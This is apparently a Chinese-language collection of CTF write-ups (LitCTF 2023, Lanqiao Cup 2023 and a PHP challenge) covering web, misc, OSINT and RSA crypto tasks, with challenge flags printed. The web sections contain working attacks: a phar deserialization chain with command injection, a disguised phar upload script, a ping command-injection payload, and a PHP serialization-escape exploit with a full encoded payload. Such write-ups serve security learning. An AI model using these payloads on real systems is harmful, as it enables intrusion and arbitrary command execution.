    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片：<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>
```

#### 0x01 代码逻辑

1. 判断 `$_SESSION['user']` 是否存在，不存在跳 2，存在跳转 3；
2. 进行登录操作，登录成功即将 `$_POST['username']` 的值赋给 `$_SESSION['user']` ，并跳转回 `./index.php` 即跳转 1。
3. 判断 `$_SESSION['user']` 是否为 `admin` ，不是则弹窗 `you are not admin!!!!!` 并跳转回 `./index.php` 即跳转 1。\*\*但因没有 `die()` 和 `exit()` 或者其它类似函数，因此函数还会继续往下执行，这也是这题的突破口。\*\*跳转4；
4. 判断 `$_GET['file']` 是否存在，存在则根据 `todo` 来执行操作，不存在跳转 5；
   * `todo=md5` 将执行 `md5_file()` 显示文件的 MD5 哈希值。
   * `todo=remove` 将执行 `FILE::remove()` 删除文件操作，并跳转 1。
   * `todo=show` 将执行 `FILE::show()` 显示图片信息。
   * 若不等于上述任何一种则返回图片以及两个功能键。
5. 进行图片上传操作，有白名单，需要上传图片马。

#### 0x02 解题逻辑

1. 通过表单提交登录，使得 `$_SESSION['user']` 存在；
2. 通过表单上传图片马，上传后由于 `unset($_SESSION['user']);` 因此执行下次操作前需再次登录；
3. 再次登录后通过 `todo=md5` 执行 `FILE::__destruct()` 来获得 flag。

#### 0x03 构造反序列化

```php
<?php
class FILE{
  public $filename;

  public function __destruct(){
    system("ls -all ".$this->filename);
  }
}

$a = new FILE();
$a->filename = '/';

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
```

将 `test.phar` 上传至靶机

```python
import requests

url = 'http://28174d4c-86e7-4f17-b323-4861354044e3.node4.buuoj.cn:81/'
session = requests.Session()


def login():
    ret = session.post(url, data={
        "username": "admin' 1=1#",
        "password": "",
        "submit": "登录"
    })
    return '登录成功!' in ret.text


if login():
    ret = session.post(url, files={
        "file": ('test.png', open(r'test.phar', 'rb').read(), 'image/png')
    })


if login():
    ret = session.get(url, params={
        "file": "phar:///var/www/html/test.png",
        "todo": "md5"
    })
    print(ret.text)
```

可以得到回显如下

```bash
total 8
drwxr-xr-x    1 root root   89 Jul 30 03:29 .
drwxr-xr-x    1 root root   89 Jul 30 03:29 ..
-rwxr-xr-x    1 root root    0 Jul 30 03:29 .dockerenv
-rw-rw-r--    1 root root   45 Jul 30 03:29 adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
drwxr-xr-x    1 root root   28 Oct 13  2020 bin
drwxr-xr-x    2 root root    6 Sep 19  2020 boot
drwxr-xr-x    5 root root  360 Jul 30 03:29 dev
drwxr-xr-x    1 root root   66 Jul 30 03:29 etc
drwxr-xr-x    2 root root    6 Sep 19  2020 home
drwxr-xr-x    1 root root   21 Oct 13  2020 lib
drwxr-xr-x    2 root root   34 Oct 12  2020 lib64
drwxr-xr-x    2 root root    6 Oct 12  2020 media
drwxr-xr-x    2 root root    6 Oct 12  2020 mnt
drwxr-xr-x    2 root root    6 Oct 12  2020 opt
dr-xr-xr-x 2072 root root    0 Jul 30 03:29 proc
drwx------    1 root root    6 Oct 13  2020 root
drwxr-xr-x    1 root root   21 Oct 13  2020 run
drwxr-xr-x    1 root root   20 Oct 13  2020 sbin
drwxr-xr-x    2 root root    6 Oct 12  2020 srv
dr-xr-xr-x   13 root root    0 Mar 28 03:11 sys
drwxrwxrwt    1 root root 4096 Jul 30 04:06 tmp
drwxr-xr-x    1 root root   19 Oct 12  2020 usr
drwxr-xr-x    1 root root   17 Oct 13  2020 var
```

将 PHP 代码中的 `$a->filename` 修改为

```php
$a->filename = '/; cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd;';
```

再次上传靶机即可获得 flag 。


# LitCTF 2023

## Web

### 我Flag呢？

查看html源码

\<!--flag is here flag=NSSCTF{39609b1a-cc8d-4fe1-8ccf-594cd745632a} -->

### Ping

Brupsuite 一把梭

Payload `command=127.0.0.1%3bcat%20%2fflag&ping=Ping`

### Follow me and hack me

Brupsuite 一把梭

Payload `/?CTF=Lit2023 Challenge=i'm_c0m1ng`

## Misc

### 喜欢我的压缩包么 (初级)

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FQIs2tU5CdETf7TUU3WSe%2F%E5%96%9C%E6%AC%A2%E6%88%91%E5%8E%8B%E7%BC%A9%E5%8C%85%E4%B9%88-1.png?alt=media&amp;token=368ddaed-c776-4310-b726-41551ae63001" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F3niDJ4BB7mkojbTVzlRl%2Fce8c9c46-f689-4d36-8bfb-7773cdc150cd.png?alt=media&amp;token=68235909-e3a3-437a-b5ed-404d045b30c4" alt=""><figcaption></figcaption></figure>

### 404notfound (初级)

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F4tMpWubC6ORqxeCgptJU%2F404notfound.png?alt=media&amp;token=8764462a-2bd3-4be6-9e9a-ae77728b4fc0" alt=""><figcaption></figcaption></figure>

### Take me hand (初级)

wireshark一把梭

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FeqOYINAENjC9PJOhjjeS%2Ftake-me-hand.png?alt=media&amp;token=31df8f18-f2b6-452c-8632-c484c577a9a8" alt=""><figcaption></figcaption></figure>

### 破损的图片(初级)

一眼顶针，鉴定为丢了文件头，怼个png进去试试

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FgxhxXdTk5tW0j6wJUjRP%2F%E7%A0%B4%E6%8D%9F%E7%9A%84%E5%9B%BE%E7%89%87-1.png?alt=media&amp;token=082d61ca-bd87-4c8f-ad4f-b6545d64e3c3" alt=""><figcaption></figcaption></figure>

然后发现成了

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FulrGLZeXcxUjI19foVYw%2F%E7%A0%B4%E6%8D%9F%E7%9A%84%E5%9B%BE%E7%89%87-2.png?alt=media&amp;token=d1651d71-f138-4bd8-902b-ece9b90b1e1a" alt=""><figcaption></figcaption></figure>

### 这羽毛球怎么只有一半啊（恼 (初级)

```python
import zlib
import struct

filename = 'ymq.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(), 16)
    data = bytearray(all_b[12:29])
    n = 4095
    for w in range(n):
        width = bytearray(struct.pack('>i', w))
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x + 4] = width[x]
                data[x + 8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("宽为：", end="")
                print(width)
                print("高为：", end="")
                print(height)
                
#宽为：bytearray(b'\x00\x00\x063')
#高为：bytearray(b'\x00\x00\x08\xc5') 
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fap1JjR8DEusQEAHMJU93%2F%E8%BF%99%E7%BE%BD%E6%AF%9B%E7%90%83%E6%80%8E%E4%B9%88%E5%8F%AA%E6%9C%89%E4%B8%80%E8%88%AC%E5%95%8A-1.png?alt=media&amp;token=bf00aa71-d76a-428a-b599-72fc81ec54b7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fy8KzBmCIDJQOZDzyVSSm%2F%E8%BF%99%E7%BE%BD%E6%AF%9B%E7%90%83%E6%80%8E%E4%B9%88%E5%8F%AA%E6%9C%89%E4%B8%80%E8%88%AC%E5%95%8A-2.png?alt=media&amp;token=968f1854-fc0c-4f2b-975e-9ad8348190db" alt="" width="188"><figcaption></figcaption></figure>

### OSINT 探姬去哪了?\_0

在图片中包含地址位置信息，可以查到结果是 `中国电信大厦`

### OSINT 探姬去哪了?\_2

<https://hn.ifeng.com/c/8PcG1DDuKYm>

结果就是 `NSSCTF{漫香音乐酒吧(农科路店)}`&#x20;

### OSINT 探姬去哪了?\_3

通过 CTF 可以猜测探姬是学计算机，直接找计算机学院位于学校哪里，可以查出来位于 `科学校区` ，第二问为第几教学楼，直接从 1 开始穷举，最后图片中显示 217 ，说明是在 2 层 217。

结果就是 `NSSCTF{科学校区-第1教学楼-2层-217}`

### OSINT 这是什么地方？！

<https://m.weishi.qq.com/vise/share/index.html?id=79DecqCDn1IvxDk6v>

结果就是 `陕西有色榆林新材料集团`&#x20;

### OSINT 小麦果汁

WiFi 名字为 Hacker & Craft

百度即可得到答案 `黑客与精酿`&#x20;

### 两仪生四象 (中级)

```python
_hash = {"乾": "111", "兑": "011", "离": "101", "震": "001", "巽": "110", "坎": "010", "艮": "100", "坤": "000"}

encoded_text = "坤乾兑艮兑坎坤坤巽震坤巽震艮兑坎坤震兑乾坤巽坤艮兑震巽坤巽艮坤巽艮艮兑兑艮震兑乾坤乾坤坤兑艮艮坤巽坤坤巽坎坤兑离坎震艮兑坤巽坎艮兑震坤震兑乾坤乾坎坤兑坎坤震艮离坤离乾艮震艮巽震离震坤巽兑艮兑坎坤震巽艮坤离乾艮坎离坤震巽坎坤兑坤艮兑震巽震巽坎坤巽坤艮兑兑坎震巽兑"

__reverse_hash = {k: v for k, v in _hash.items()}

decoded_text = ""
for i in range(0, len(encoded_text)):
    try:
        decoded_text += __reverse_hash[encoded_text[i]]
    except KeyError:
        decoded_text += " "

print(decoded_text)

list = []

for i in range(0, len(decoded_text), 10):
    list.append(int(decoded_text[i:i + 10], 2))

print(bytes(list).decode())

# wh1ch_ag4in_pr0duced_the_3ight_Tr1grams
```

## Crypto

### Hex？Hex！

16 进制转字符串即可 LitCTF{tai111coollaaa!}

### 梦想是红色的

{% embed url="<http://www.atoolbox.net/Tool.php?Id=850>" %}

LitCTF{为之则易,不为则难}

### 家人们！谁懂啊，RSA签到都不会

```python
from Crypto.Util.number import *
# from secret import flag
#
# m = bytes_to_long(flag)
# p = getPrime(512)
# q = getPrime(512)
# c = pow(m,e,n)
# print(f'p = {p}')
# print(f'q = {q}')
# print(f'c = {c}')
# '''
import gmpy2
e = 65537
p = 12567387145159119014524309071236701639759988903138784984758783651292440613056150667165602473478042486784826835732833001151645545259394365039352263846276073
q = 12716692565364681652614824033831497167911028027478195947187437474380470205859949692107216740030921664273595734808349540612759651241456765149114895216695451
c = 108691165922055382844520116328228845767222921196922506468663428855093343772017986225285637996980678749662049989519029385165514816621011058462841314243727826941569954125384522233795629521155389745713798246071907492365062512521474965012924607857440577856404307124237116387085337087671914959900909379028727767057
# '''
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
```

### 原来你也玩原神

![](https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FRHs7hxwEsh637rlkjm9J%2F%E5%8E%9F%E6%9D%A5%E4%BD%A0%E4%B9%9F%E7%8E%A9%E5%8E%9F%E7%A5%9E.png?alt=media\&token=df475935-5f02-4aed-8817-42c2acfaa43b)

YUANLAINIYEWANYUANSHENWWW

### (校外)Euler

已知 n c&#x20;

m^2 mod n = c&#x20;

当e=2 可以认为是低指数，进行低指数加密攻击

```python
n = 115140122725890943990475192890188343698762004010330526468754961357872096040956340092062274481843042907652320664917728267982409212988849109825729150839069369465433531269728824368749655421846730162477193420534803525810831025762500375845466064264837531992986534097821734242082950392892529951104643690838773406549
c = 406480424882876909664869928877322864482740577681292497936198951316587691545267772748204383995815523935005725558478033908575228532559165174398668885819826720515607326399097899572022020453298441

i = 0
while 1:
    if(iroot(c+i*n,2)[1]==1):
        print(iroot(c+i*n,2)[0])
        print(i)
        break
    i=i+1


print(long_to_bytes(637558173724466424603436405558898119893812260428714378729778210205931322986773019220025930769021))
```

LitCTF{a1a8887793acfc199182a649e905daab}

### (校外)md5的破解

```python
list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

for i in list:
    for j in list:
        for p in list:
            for q in list:
                temp = "LitCTF{md5can%(0)s%(1)s3de%(2)srypt213thoughcr%(3)ssh}" % {'0': i, '1': j, '2': p, '3': q}
                tempp = md5(temp.encode()).hexdigest()
                if tempp == '496603d6953a15846cd7cc476f146771':
                    print(temp)
```

### factordb (中级)

```python
from Crypto.Util.number import *
import gmpy2
e = 65537
n = 87924348264132406875276140514499937145050893665602592992418171647042491658461
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
c = 87677652386897749300638591365341016390128692783949277305987828177045932576708

phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
```

### yafu (中级)

```python
import gmpy2
from Crypto.Util.number import *

n = 15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307
c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717
e = 65537

phi = (2151018733 - 1) * (2201440207 - 1) * (2315495107 - 1) * (2585574697 - 1) * (2719600579 - 1) * (2758708999 - 1) * (2767137487 - 1) * (2906576131 - 1) * (2923522073 - 1) * (3354884521 - 1) * (3355651511 - 1) * (3989697563 - 1) * (4021078331 - 1) * (4044505687 - 1) * (4171911923 - 1)
d = gmpy2.invert(e, phi)

m = pow(c, d, n)
print(long_to_bytes(m))
```

### (校外)P\_Leak

一眼顶针，鉴定为 dp泄露

```python
from gmpy2 import *
from Crypto.Util.number import *

e = 65537
n = 50612159190225619689404794427464916374543237300894011803225784470008992781409447214236779975896311093686413491163221778479739252804271270231391599602217675895446538524670610623369953168412236472302812808639218392319634397138871387898452935081756580084070333246950840091192420542761507705395568904875746222477
dp = 5892502924236878675675338970704766304539618343869489297045857272605067962848952532606770917225218534430490745895652561015493032055636004130931491316020329
c = 39257649468514605476432946851710016346016992413796229928386230062780829495844059368939749930876895443279723032641876662714088329296631207594999580050131450251288839714711436117326769029649419789323982613380617840218087161435260837263996287628129307328857086987521821533565738409794866606381789730458247531619

for i in range(1, e):
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            phi = (q - 1) * (p - 1)
            d = invert(e, phi)
            m = pow(c, d, n)

print(long_to_bytes(m))
```

### (校外)e的学问

它不互素，那就让他互素！

```python
import gmpy2
from Crypto.Util.number import *
e=74
p= 86053582917386343422567174764040471033234388106968488834872953625339458483149
q= 72031998384560188060716696553519973198388628004850270102102972862328770104493
c= 3939634105073614197573473825268995321781553470182462454724181094897309933627076266632153551522332244941496491385911139566998817961371516587764621395810123
n = p * q
phi = (p-1)*(q-1)
tmp = math.gcd(phi, e)
d = gmpy2.invert(e // tmp, phi)
m = pow(c, d, n)
m = gmpy2.iroot(m, tmp)
print(long_to_bytes(m[0]))
```


# 蓝桥杯 2023

## Misc

### ZIP

通过在 WireShark 中检索 HTTP 请求，可以发现一个压缩包上传请求，通过追踪 TCP 流可以发现找到以下内容

```
PK....	...0..Vx...8...*.......flag.txt......nE...f.o.. ..]..Cp..]..a....b...7?..7.....^.Y...s.PK..x...8...*...PK......	...0..Vx...8...*.....$....... .......flag.txt
. ............Ze......Ze......Ke...PK..........Z...n.................
ChunQiu\d{4}
```

通过 010Editor 新建成一个 zip 压缩包文件，通过备注可以发现 Hint `密码的正则：ChunQiu\d{4}`

因此通过 python 创建一个字典

```python
for i in range(0000, 10000):
    print("ChunQiu{:04}".format(i))
```

创建字典后复制粘贴到 txt 中，使用 `ARCHPR` 进行字典密码爆破即可获得 flag

### CyberChef

打开网页可以发现 flag 被 Base64 和 Rot13 两次加密后得到密文 `CpakC3wnB2L3Q2IlBb02QGT1OWT4QGDwBpMmBV01PmXbCmBzQcP1CWg9` ，通过本地打开 CyberChef 将密文输入至 Input 内，选择 Rot13 Brute Force，取消勾选 Print amount，可以得到很多 Base64 编码的字符串

```
DqblD3xoC2M3R2JmCc02RHU1PXU4RHExCqNnCW01QnYcDnCaRdQ1DXh9
ErcmE3ypD2N3S2KnDd02SIV1QYV4SIFyDrOoDX01RoZdEoDbSeR1EYi9
FsdnF3zqE2O3T2LoEe02TJW1RZW4TJGzEsPpEY01SpAeFpEcTfS1FZj9
GteoG3arF2P3U2MpFf02UKX1SAX4UKHaFtQqFZ01TqBfGqFdUgT1GAk9
HufpH3bsG2Q3V2NqGg02VLY1TBY4VLIbGuRrGA01UrCgHrGeVhU1HBl9
IvgqI3ctH2R3W2OrHh02WMZ1UCZ4WMJcHvSsHB01VsDhIsHfWiV1ICm9
JwhrJ3duI2S3X2PsIi02XNA1VDA4XNKdIwTtIC01WtEiJtIgXjW1JDn9
KxisK3evJ2T3Y2QtJj02YOB1WEB4YOLeJxUuJD01XuFjKuJhYkX1KEo9
LyjtL3fwK2U3Z2RuKk02ZPC1XFC4ZPMfKyVvKE01YvGkLvKiZlY1LFp9
MzkuM3gxL2V3A2SvLl02AQD1YGD4AQNgLzWwLF01ZwHlMwLjAmZ1MGq9
NalvN3hyM2W3B2TwMm02BRE1ZHE4BROhMaXxMG01AxImNxMkBnA1NHr9
ObmwO3izN2X3C2UxNn02CSF1AIF4CSPiNbYyNH01ByJnOyNlCoB1OIs9
PcnxP3jaO2Y3D2VyOo02DTG1BJG4DTQjOcZzOI01CzKoPzOmDpC1PJt9
QdoyQ3kbP2Z3E2WzPp02EUH1CKH4EURkPdAaPJ01DaLpQaPnEqD1QKu9
RepzR3lcQ2A3F2XaQq02FVI1DLI4FVSlQeBbQK01EbMqRbQoFrE1RLv9
SfqaS3mdR2B3G2YbRr02GWJ1EMJ4GWTmRfCcRL01FcNrScRpGsF1SMw9
TgrbT3neS2C3H2ZcSs02HXK1FNK4HXUnSgDdSM01GdOsTdSqHtG1TNx9
UhscU3ofT2D3I2AdTt02IYL1GOL4IYVoThEeTN01HePtUeTrIuH1UOy9
VitdV3pgU2E3J2BeUu02JZM1HPM4JZWpUiFfUO01IfQuVfUsJvI1VPz9
WjueW3qhV2F3K2CfVv02KAN1IQN4KAXqVjGgVP01JgRvWgVtKwJ1WQa9
XkvfX3riW2G3L2DgWw02LBO1JRO4LBYrWkHhWQ01KhSwXhWuLxK1XRb9
YlwgY3sjX2H3M2EhXx02MCP1KSP4MCZsXlIiXR01LiTxYiXvMyL1YSc9
ZmxhZ3tkY2I3N2FiYy02NDQ1LTQ4NDAtYmJjYS01MjUyZjYwNzM1ZTd9
AnyiA3ulZ2J3O2GjZz02OER1MUR4OEBuZnKkZT01NkVzAkZxOaN1AUe9
BozjB3vmA2K3P2HkAa02PFS1NVS4PFCvAoLlAU01OlWaBlAyPbO1BVf9
```

通过 Base64 解码即可获得到 flag{dcb77abc-6445-4840-bbca-5252f60735e7}

## Crypto

### RSA

通过 python 代码可以获取到 e1 的值为 `965035544`

```python
import random
random.seed(123456)
e1 = random.randint(100000000, 999999999)
print(e1)
```

通过分析代码可以发现两次加密使用同一个 m、n，并且 e1 和 e2 互素，因此可以进行共模攻击获取 flag

```python
import gmpy2
import libnum

n= 7265521127830448713067411832186939510560957540642195787738901620268897564963900603849624938868472135068795683478994264434459545615489055678687748127470957
e1= 965035544
c1= 3315026215410356401822612597933850774333471554653501609476726308255829187036771889305156951657972976515685121382853979526632479380900600042319433533497363
e2= 65537
c2= 1188105647021006315444157379624581671965264301631019818847700108837497109352704297426176854648450245702004723738154094931880004264638539450721642553435120

def rsa_gong_N_def(e1,e2,c1,c2,n):
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    s = gmpy2.gcdext(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)

m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(libnum.n2s(int(m)))
```

## Web

### 禁止访问

通过 BurpSuite 的 Repeater 添加 Header 头 `client-ip: 192.168.1.1` 后即可获取 flag

### ezphp

#### **考点**

1. 序列化使用 `S` 来识别十六进制字符
2. 通过数组来动态调用类内函数
3. 序列化字符逃逸

#### **源代码**

```php
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
  public $key;
  public function readflag(){
    if($this->key === "\0key\0"){
      readfile('/flag');
    }
  }
}
class B{
  public function  __toString(){
    return ($this->b)();
  }
}
class C{
  public $s;
  public $str;
  public function  __construct($s){
    $this->s = $s;
  }
  public function  __destruct(){
    echo $this->str;
  }
}

$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);
```

#### **序列化构造**

```php
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
  public $key;
  
  // New
  public function __construct() {
    $this->key = "\0key\0";
  }
  
  public function readflag(){
    if($this->key === "\0key\0"){
      readfile('/flag');
    }
  }
}
class B{
  public $b; // New
  
  // New
  public function __construct() {
    $this->b = [new A(), "readflag"];
  }
  
  public function  __toString(){
    ($this->b)(); // New
    return ""; // New
  }
}
class C{
  public $s;
  public $str;
  public function  __construct(){
    $this->s = '';
    $this->str = new B(); // New
  }
  public function  __destruct(){
    echo $this->str;
  }
}

$ser = serialize(new C($_GET['c']));
echo $ser; // O:1:"C":2:{s:1:"s";s:0:"";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}
```

#### **字符逃逸**

题目中只能通过 `c` 进行传值，因此需要通过题目提供的 `str_ireplace()` 函数进行字符逃逸给 `str` 赋值以下内容

```
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}
```

可以发现 `s:5:"key";` 匹配不上，结果需要是 `\0key\0` ，又因为现在序列化用的是双引号，PHP 使用单引号时 `\0` 无法被转义，因此需要使用 `str_ireplace('00', "\0", $str)` 进行替换，并且在序列化中 s 不能识别十六进制字符，因此需要将 `s` 改为 `S` 。

在题目有还有一个 `str_ireplace("\0","00",$ser);` 会将`\0` 变成 `00` ，因此需要给 key 的值加上反斜杠 `\`

```php
str_ireplace('00', "\0", '";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}');
// O:1:"C":2:{s:1:"s";s:197:"1";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\key\";}i:1;s:8:"readflag";}}}";s:3:"str";N;}
```

因此逃逸的字符有 96 个，即

```
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\key\";}i:1;s:8:"readflag";}}}
```

接下来就是进行字符逃逸，先通过 `str_repeat("\0", 96)` 进行尝试得到的结果如下：（192 个 0）

```
O:1:"C":2:{s:1:"s";s:194:"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}";s:3:"str";N;}
```

不足以逃逸就继续向上增，增到 98 时发现正好足够：（196 个 0）

```
O:1:"C":2:{s:1:"s";s:196:"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}";s:3:"str";N;}
```

这时候就已经逃逸成功了！flag 也就出来力！

通过 `urlencode()` 就可以得到 payload力

```
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22key%22%3BS%3A5%3A%22%5C%00key%5C%00%22%3B%7Di%3A1%3Bs%3A8%3A%22readflag%22%3B%7D%7D%7D
```

#### **序列化 s 与 S 的补充**

<https://github.com/php/php-src/blob/e8fb0edc69598e7d9380f61a1ab551b5ec6c27ca/ext/standard/var\\_unserializer.re#L1025C20-L1094>

```cpp
"s:" uiv ":" ["] 	{
	size_t len, maxlen;
	char *str;

	len = parse_uiv(start + 2);
	maxlen = max - YYCURSOR;
	if (maxlen < len) {
		*p = start + 2;
		return 0;
	}

	str = (char*)YYCURSOR;

	YYCURSOR += len;

	if (*(YYCURSOR) != '"') {
		*p = YYCURSOR;
		return 0;
	}

	if (*(YYCURSOR + 1) != ';') {
		*p = YYCURSOR + 1;
		return 0;
	}

	YYCURSOR += 2;
	*p = YYCURSOR;

	if (!var_hash) {
		/* Array or object key unserialization */
		ZVAL_STR(rval, zend_string_init_existing_interned(str, len, 0));
	} else {
		ZVAL_STRINGL_FAST(rval, str, len);
	}
	return 1;
}

"S:" uiv ":" ["] 	{
	size_t len, maxlen;
	zend_string *str;

	len = parse_uiv(start + 2);
	maxlen = max - YYCURSOR;
	if (maxlen < len) {
		*p = start + 2;
		return 0;
	}

	if ((str = unserialize_str(&YYCURSOR, len, maxlen)) == NULL) {
		return 0;
	}

	if (*(YYCURSOR) != '"') {
		zend_string_efree(str);
		*p = YYCURSOR;
		return 0;
	}

	if (*(YYCURSOR + 1) != ';') {
		efree(str);
		*p = YYCURSOR + 1;
		return 0;
	}

	YYCURSOR += 2;
	*p = YYCURSOR;

	ZVAL_STR(rval, str);
	return 1;
}
```

其中 S 比 s 多调用了函数 `unserialize_str()` ，进行了 16 进制的解析

<https://github.com/php/php-src/blob/e8fb0edc69598e7d9380f61a1ab551b5ec6c27ca/ext/standard/var\\_unserializer.re#L323>

```cpp
static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
	size_t i, j;
	zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
	unsigned char *end = *(unsigned char **)p+maxlen;

	if (end < *p) {
		zend_string_efree(str);
		return NULL;
	}

	for (i = 0; i < len; i++) {
		if (*p >= end) {
			zend_string_efree(str);
			return NULL;
		}
		if (**p != '\\') {
			ZSTR_VAL(str)[i] = (char)**p;
		} else {
			unsigned char ch = 0;

			for (j = 0; j < 2; j++) {
				(*p)++;
				if (**p >= '0' && **p <= '9') {
					ch = (ch << 4) + (**p -'0');
				} else if (**p >= 'a' && **p <= 'f') {
					ch = (ch << 4) + (**p -'a'+10);
				} else if (**p >= 'A' && **p <= 'F') {
